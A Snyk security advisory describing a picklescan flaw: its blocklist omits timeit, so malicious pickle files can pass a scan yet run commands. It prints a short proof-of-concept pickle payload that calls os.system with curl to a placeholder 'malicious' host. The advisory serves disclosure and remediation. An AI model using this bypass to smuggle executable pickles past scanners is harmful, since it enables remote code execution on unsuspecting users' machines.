Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade picklescan
to version 0.0.25 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in scanner.py
, which does not include timeit
or other modules that can be leveraged for unintended command execution. An attacker can cause exec()
to be invoked from inside a malicious pickle object by calling timeit.timeit()
, and then convincing a user to execute the apparently non-dangerous payload after it passes a scan.
import pickle
import timeit
class Payload(object):
def __reduce__(self):
return timeit.timeit, ('','import os; os.system("curl https://malicious")')
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
create_payload()